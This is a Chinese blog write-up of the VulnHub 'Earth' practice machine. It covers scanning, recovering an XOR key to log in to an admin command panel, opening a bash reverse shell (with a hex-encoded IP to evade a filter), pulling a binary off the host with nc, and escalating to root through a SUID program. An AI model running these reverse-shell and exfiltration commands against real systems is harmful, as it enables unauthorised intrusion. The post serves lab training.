VulnHub靶机Earth复现

借鉴文章:

https://blog.csdn.net/Czheisenberg/article/details/122900121

https://www.cnblogs.com/sainet/p/15638010.html

安装靶机

靶机网址:https://www.vulnhub.com/entry/the-planets-earth,755/

VirtualBox网址:https://www.virtualbox.org/wiki/Downloads

IP探测

寻找靶机

要确保靶机和kali都出于同一个网段上(可以都是用桥连方式)

先查看kali的IP

1
ifconfig

image-20250426120844444

1
2
# kali的IP:
192.168.1.103

使用nmap工具扫描

最好在打开靶机之前扫描一次,在打开靶机之后扫描一次,这样容易对比出哪一个是靶机

1
nmap 192.168.1.0/24

打开靶机前扫描结果

image-20250426121849445

打开靶机后扫描结果

image-20250426122105966

可以发现多出了102,这个就是靶机的IP

1
2
# 靶机的IP
192.168.1.102
1
2
3
4
# kali的IP:
192.168.1.103
# 靶机的IP
192.168.1.102

深入探测

使用nmap进行深入探测

1
nmap -A 192.168.1.102

image-20250426122805931

开放了2280443三个端口,并且80443都是python3.9,还在443端口发现存在DNS解析

HTTPS探测

有DNS解析,需要手动修改/etc/hosts,添加DNS解析

1
2
3
4
# Windows文件路径
C:\Windows\System32\dirvers\etc\hosts
# Linux文件路径
/etc/hosts
1
vim /etc/hosts

image-20250426123657419

image-20250426123731272

然后就可以访问网站了,第一个网站

1
https://earth.local/

image-20250426124114446

下面有Previous Messages

1
2
3
4
5
37090b59030f11060b0a1b4e0000000000004312170a1b0b0e4107174f1a0b044e0a000202134e0a161d17040359061d43370f15030b10414e340e1c0a0f0b0b061d430e0059220f11124059261ae281ba124e14001c06411a110e00435542495f5e430a0715000306150b0b1c4e4b5242495f5e430c07150a1d4a410216010943e281b54e1c0101160606591b0143121a0b0a1a00094e1f1d010e412d180307050e1c17060f43150159210b144137161d054d41270d4f0710410010010b431507140a1d43001d5903010d064e18010a4307010c1d4e1708031c1c4e02124e1d0a0b13410f0a4f2b02131a11e281b61d43261c18010a43220f1716010d40

3714171e0b0a550a1859101d064b160a191a4b0908140d0e0d441c0d4b1611074318160814114b0a1d06170e1444010b0a0d441c104b150106104b1d011b100e59101d0205591314170e0b4a552a1f59071a16071d44130f041810550a05590555010a0d0c011609590d13430a171d170c0f0044160c1e150055011e100811430a59061417030d1117430910035506051611120b45

2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a

第二个网站

1
https://terratest.earth.local/

image-20250426125647730

扫描目录

1
dirsearch -u https://earth.local/ -e *

image-20250426125758144

扫出了/admin目录,再扫一下另一个

1
dirsearch -u https://terratest.earth.local/ -e *

image-20250426125532468

扫出robots.txt

挨个访问看看

1
https://earth.local/admin

image-20250426125937051

image-20250426125946263

需要用户名和密码登录,再看看另一个网站

1
https://terratest.earth.local/robots.txt

image-20250426130127054

发现一个testingnotes文件,但不确定格式,可以尝试出是.txt文件

1
https://terratest.earth.local/testingnotes.txt

image-20250426130235265

用AI翻译过来是

1
2
3
4
5
6
7
8
9
安全消息系统测试笔记:
使用异或加密算法,鉴于其在 RSA 中的应用,该算法应是安全的。
地球方面已确认收到我们发送的消息。
使用 testdata.txt 对加密功能进行了测试。
“terra” 被用作管理门户的用户名。
待办事项:
我们该如何安全地向地球发送每月密钥?还是说我们应该每周更换密钥?
需要测试不同的密钥长度以抵御暴力破解。密钥多长合适呢?
需要改进消息传递界面和管理面板的界面,目前它们过于简陋。

可知使用的是异或加密算法,并且对testdata.txt对进行了加密测试,用户名是terra,访问testdata.txt看看

1
https://terratest.earth.local/testdata.txt

image-20250426130615160

1
According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago.
1
根据放射性测年估算及其他证据,地球形成于 45 亿多年前。在地球历史的最初 10 亿年里,生命在海洋中出现,并开始影响地球的大气和地表,导致厌氧生物繁衍,随后好氧生物也开始出现。一些地质证据表明,生命最早可能在 41 亿年前就已出现。

解密密码

根据之前第一个网站得到信息进行XOR解密,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import binascii

# 给定的十六进制字符串
c = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a"

# 给定的明文字符串
m = "According to radiometric dating estimation and other evidence, Earth formed over 4.5 billion years ago. Within the first billion years of Earth's history, life appeared in the oceans and began to affect Earth's atmosphere and surface, leading to the proliferation of anaerobic and, later, aerobic organisms. Some geological evidence indicates that life may have arisen as early as 4.1 billion years ago."

# 将明文字符串转换为十六进制表示
m_hex = binascii.hexlify(m.encode("utf-8")).decode("utf-8")

# 确保两个十六进制字符串长度一致
if len(c) != len(m_hex):
raise ValueError("The length of c and m_hex must be the same.")

# 将十六进制字符串转换为整数,进行异或操作
result_hex = hex(int(c, 16) ^ int(m_hex, 16))[2:] # 去掉前缀 "0x"

# 确保结果的长度与原始字符串一致
result_hex = result_hex.zfill(len(c))

# 将异或后的十六进制字符串转换回字节
result_bytes = binascii.unhexlify(result_hex)

# 将字节解码为字符串
result_str = result_bytes.decode("utf-8")

print(result_str)
1
2
# 结果
earthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimatechangebad4humansearthclimat

发现是重复的earthclimatechangebad4humans,这就是密码,去登录

1
2
用户名:terra
密码:earthclimatechangebad4humans

image-20250426131843279

成功登录,来到一个命令执行页面

查找flag

user_flag

image-20250426132012976

可以执行命令,查看当前用户是apache

使用find命令查找flag

1
find / -name "*flag*"

image-20250426132554676

/var/earth_web/user_flag.txt

1
cat /var/earth_web/user_flag.txt

image-20250426132650736

1
user_flag_3353b67d6437f07ba7d34afd7d2fc27d

反弹shell

尝试反弹shell到kali上

1
nc -lvp 2333

image-20250426133421555

1
bash -i >& /dev/tcp/192.168.1.103/2333 0>&1

image-20250426132915400

但是发现进制远程连接,看大佬文章是要对IP进行十六进制转换

1
bash -i >& /dev/tcp/0xc0.0xa8.0x01.0x67/2333 0>&1

image-20250426133456856

成功连上了

提权

SUID提权

看看能不能SUID提权

1
find / -perm -u=s -type f 2>/dev/null

image-20250426133750901

尝试用/usr/bin/reset_root提权

1
reset_root

image-20250426133956288

看不懂问AI

image-20250426134150989

把命令下载到kali调试

在靶机上不能调试,利用nc将这个命令下载到kali进行调试

在kali输入

1
nc -nlvp 5555 >reset_root

image-20250426134946044

在靶机上输入

1
nc 192.168.1.103 5555 < /usr/bin/reset_root

image-20250426135001530

image-20250426135007473

先对root_reset赋予权限

1
chmod +x reset_root

image-20250426135155202

使用strace进行调试

先安装这个命令

1
apt install strace

然后开始调试

1
strace ./reset_root

image-20250426135553990

发现因为缺少上面的三个文件而调试失败,去靶机上找这三个文件

1
2
3
cat /dev/shm/kHgTFI5G
cat /dev/shm/Zw7bV9U5
cat /tmp/kcM0Wewe

image-20250426135735241

靶机上果然缺少这三个文件,没有文件那就创建文件

1
2
3
touch /dev/shm/kHgTFI5G
touch /dev/shm/Zw7bV9U5
touch /tmp/kcM0Wewe

image-20250426135945884

再次尝试运行reset_root

image-20250426140126543

重置root密码为Earth,切换为root权限

1
su

image-20250426140242103

root_flag

成功提权,找flag

image-20250426140324143

1
[root_flag_b0da9554d29db2117b02aa8b66ec492e]

VulnHub靶机Earth复现
https://yschen20.github.io/2025/04/26/VulnHub靶机Earth复现/
作者
Suzen
发布于
2025年4月26日
更新于
2025年5月3日
许可协议